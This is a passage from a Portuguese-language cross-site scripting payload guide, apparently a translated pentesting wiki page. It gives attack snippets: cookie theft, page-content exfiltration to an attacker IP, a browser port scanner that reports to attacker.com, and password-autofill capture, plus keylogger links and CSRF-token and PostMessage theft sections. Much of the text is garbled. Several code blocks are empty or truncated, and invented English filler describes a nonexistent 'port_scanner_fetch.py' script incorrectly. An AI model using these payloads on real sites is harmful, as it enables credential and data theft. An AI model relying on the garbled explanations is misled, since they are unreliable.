malicioso na página, exibindo um alerta com a mensagem "Este é um ataque de XSS!". O atacante pode modificar esse payload para realizar ações mais prejudiciais, como roubar informações confidenciais ou redirecionar o usuário para um site malicioso. ## Conclusão O XSS é uma vulnerabilidade séria que pode ter consequências graves para a segurança de uma aplicação web e seus usuários. É essencial implementar práticas de segurança adequadas para prevenir ataques de XSS e proteger os dados sensíveis dos usuários. ```javascript // It's also possible to execute JS code only with the chars: []`+!${} ``` ## XSS payloads comuns ### Vários payloads em 1 {% content-ref url="steal-info-js.md" %} [steal-info-js.md](steal-info-js.md) {% endcontent-ref %} ### Recuperar Cookies ```javascript /?c="+document.cookie> ``` {% hint style="info" %} Você **não conseguirá acessar os cookies do JavaScript** se a flag HTTPOnly estiver definida no cookie. Mas aqui você tem [algumas maneiras de contornar essa proteção](../hacking-with-cookies/#httponly) se tiver sorte o suficiente. {% endhint %} ### Roubar Conteúdo da Página ```javascript var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"; var attacker = "http://10.10.14.8/exfil"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function() { if (xhr.readyState == XMLHttpRequest.DONE) { fetch(attacker + "?" + encodeURI(btoa(xhr.responseText))) } } xhr.open('GET', url, true); xhr.send(null); ``` ### Encontrar IPs internos Durante um teste de penetração, é importante identificar os endereços IP internos de um sistema. Essas informações podem ser úteis para explorar vulnerabilidades específicas ou realizar ataques direcionados. Existem várias maneiras de encontrar os IPs internos de um sistema: 1. **Ping Sweep**: Use uma ferramenta como o `nmap` para realizar um ping sweep na rede. Isso envia pacotes ICMP para uma faixa de endereços IP e identifica quais estão ativos. Os IPs que respondem ao ping são os IPs internos. Exemplo de comando: ``` nmap -sn 192.168.0.0/24 ``` 2. **ARP Scanning**: Use uma ferramenta como o `arp-scan` para enviar solicitações ARP para a rede e obter uma lista de IPs e endereços MAC correspondentes. Os IPs que possuem endereços MAC associados são os IPs internos. Exemplo de comando: ``` arp-scan --localnet ``` 3. **DNS Lookup**: Realize uma pesquisa de DNS reverso para obter os nomes de host associados aos endereços IP. Isso pode ajudar a identificar quais IPs pertencem à rede interna. Exemplo de comando: ``` nslookup 192.168.0.1 ``` É importante lembrar que a obtenção de IPs internos deve ser feita com permissão e apenas em sistemas que você está autorizado a testar. O uso indevido dessas informações pode ser considerado ilegal e antiético. ```html ``` ### Scanner de Portas (fetch) The `port_scanner_fetch.py` script is a simple port scanner that uses the `fetch` function from the `requests` library to send HTTP requests to a target host and port. It is designed to quickly scan a range of ports and determine if they are open or closed. To use the script, you need to provide the target host and a list of ports to scan. The script will then send a GET request to each port and check the response status code. If the status code is 200, it means the port is open. If the status code is anything other than 200, it means the port is closed. Here is an example usage of the script: ```bash python port_scanner_fetch.py --host example.com --ports 80,443,8080 ``` This will scan ports 80, 443, and 8080 on the host `example.com`. The script will output the results, indicating which ports are open and closed. Note that this script only works for HTTP ports. If you need to scan other types of ports, you will need to modify the script accordingly. Happy scanning! ```javascript const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); } ``` ### Scanner de Portas (websockets) This tool is a simple port scanner that uses websockets to perform the scanning. It can be used to identify open ports on a target system. #### Usage To use the port scanner, follow these steps: 1. Install the required dependencies by running the following command: ``` npm install ``` 2. Start the scanner by running the following command: ``` node scanner.js ``` 3. Enter the target IP address or hostname when prompted. 4. The scanner will start scanning the target system for open ports. 5. Once the scanning is complete, the scanner will display a list of open ports found on the target system. #### Example Here is an example of using the port scanner: ``` $ node scanner.js Enter the target IP address or hostname: 192.168.0.1 Scanning ports... Open ports found: 22, 80, 443 ``` #### Disclaimer This tool is intended for educational purposes only. Use it responsibly and with the necessary permissions. The author is not responsible for any misuse or damage caused by this tool. ```python var ports = [80, 443, 445, 554, 3306, 3690, 1234]; for(var i=0; i::placeholder { color:white; } ``` ### Captura de preenchimento automático de senhas O preenchimento automático de senhas é uma funcionalidade comum em navegadores da web que permite aos usuários armazenar e preencher automaticamente suas credenciais de login em sites. No entanto, essa funcionalidade também pode ser explorada por um atacante para capturar informações confidenciais, como senhas. Um ataque de captura de preenchimento automático de senhas geralmente envolve a criação de um formulário falso em um site malicioso. Esse formulário é projetado para se assemelhar a um formulário de login legítimo e solicita que os usuários insiram suas credenciais de login. Quando os usuários preenchem o formulário falso, as informações são capturadas pelo atacante. Existem várias técnicas que podem ser usadas para capturar o preenchimento automático de senhas. Uma delas é o uso de campos de entrada ocultos no formulário falso. Esses campos são invisíveis para os usuários, mas são preenchidos automaticamente pelo navegador com as credenciais armazenadas. O atacante pode então capturar essas informações usando JavaScript para enviar os dados para um servidor remoto. Outra técnica é a interceptação do envio do formulário. O atacante pode usar JavaScript para interceptar o evento de envio do formulário e capturar as informações antes que elas sejam enviadas ao servidor legítimo. Isso permite que o atacante obtenha acesso às credenciais de login sem que o usuário perceba. Para se proteger contra ataques de captura de preenchimento automático de senhas, os usuários devem estar cientes dos riscos associados a essa funcionalidade e tomar as seguintes precauções: - Evitar o uso do preenchimento automático de senhas em sites não confiáveis ou desconhecidos. - Verificar cuidadosamente a URL do site antes de inserir as credenciais de login. - Manter o navegador e os plugins sempre atualizados para se beneficiar das correções de segurança mais recentes. - Utilizar uma solução de gerenciamento de senhas confiável que ofereça recursos de segurança adicionais, como autenticação de dois fatores. Ao seguir essas práticas recomendadas, os usuários podem reduzir significativamente o risco de ter suas senhas capturadas por meio de ataques de preenchimento automático. ```javascript Username:
Password:
``` Quando qualquer dado é inserido no campo de senha, o nome de usuário e a senha são enviados para o servidor do atacante, mesmo que o cliente selecione uma senha salva e não escreva nada, as credenciais serão exfiltradas. ### Keylogger Apenas pesquisando no github, encontrei alguns diferentes: * [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger) * [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger) * [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger) * Você também pode usar o metasploit `http_javascript_keylogger` ### Roubo de tokens CSRF ```javascript ``` ### Roubo de mensagens PostMessage O roubo de mensagens PostMessage é uma técnica de ataque que visa explorar vulnerabilidades de Cross-Site Scripting (XSS) para interceptar e roubar mensagens enviadas por meio do método PostMessage. Essa técnica é particularmente eficaz em cenários em que um site confiável permite a comunicação entre diferentes domínios por meio do uso do PostMessage. #### Como funciona 1. O atacante injeta um código malicioso em um site vulnerável, aproveitando uma vulnerabilidade de XSS. 2. O código malicioso é executado no navegador do usuário quando ele visita o site comprometido. 3. O código malicioso monitora as mensagens enviadas por meio do método PostMessage. 4. Quando uma mensagem é enviada, o código malicioso a intercepta e a envia para um servidor controlado pelo atacante. 5. O atacante recebe a mensagem roubada e pode usá-la para obter informações confidenciais ou realizar outras atividades maliciosas. #### Mitigação Para mitigar o risco de roubo de mensagens PostMessage, é importante seguir as práticas recomendadas de segurança: - Sanitize e valide todas as entradas de usuário para evitar vulnerabilidades de XSS. - Implemente mecanismos de controle de acesso para restringir a comunicação entre domínios. - Utilize Content Security Policy (CSP) para limitar as origens permitidas para o método PostMessage. - Monitore e registre atividades suspeitas no servidor para identificar possíveis ataques. #### Conclusão O roubo de mensagens PostMessage é uma técnica de ataque que explora vulnerabilidades de XSS para interceptar e roubar mensagens enviadas por meio do método PostMessage. Ao seguir as práticas recomendadas de segurança, é possível mitigar o risco desse tipo de ataque e proteger os sistemas contra possíveis comprometimentos de segurança. ```markup ``` ### Explorando Service Workers {% content-ref url="abusing-service-workers.md" %} [abusing-service-workers.md](abusing-service-workers.md) {% endcontent-ref %} ### Poliglotas {% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %} ### Cargas úteis de XSS cego Você também pode usar: [https://xsshunter.com/](https://xsshunter.com) ```markup "> "> >Click Me For An Awesome Time "> ">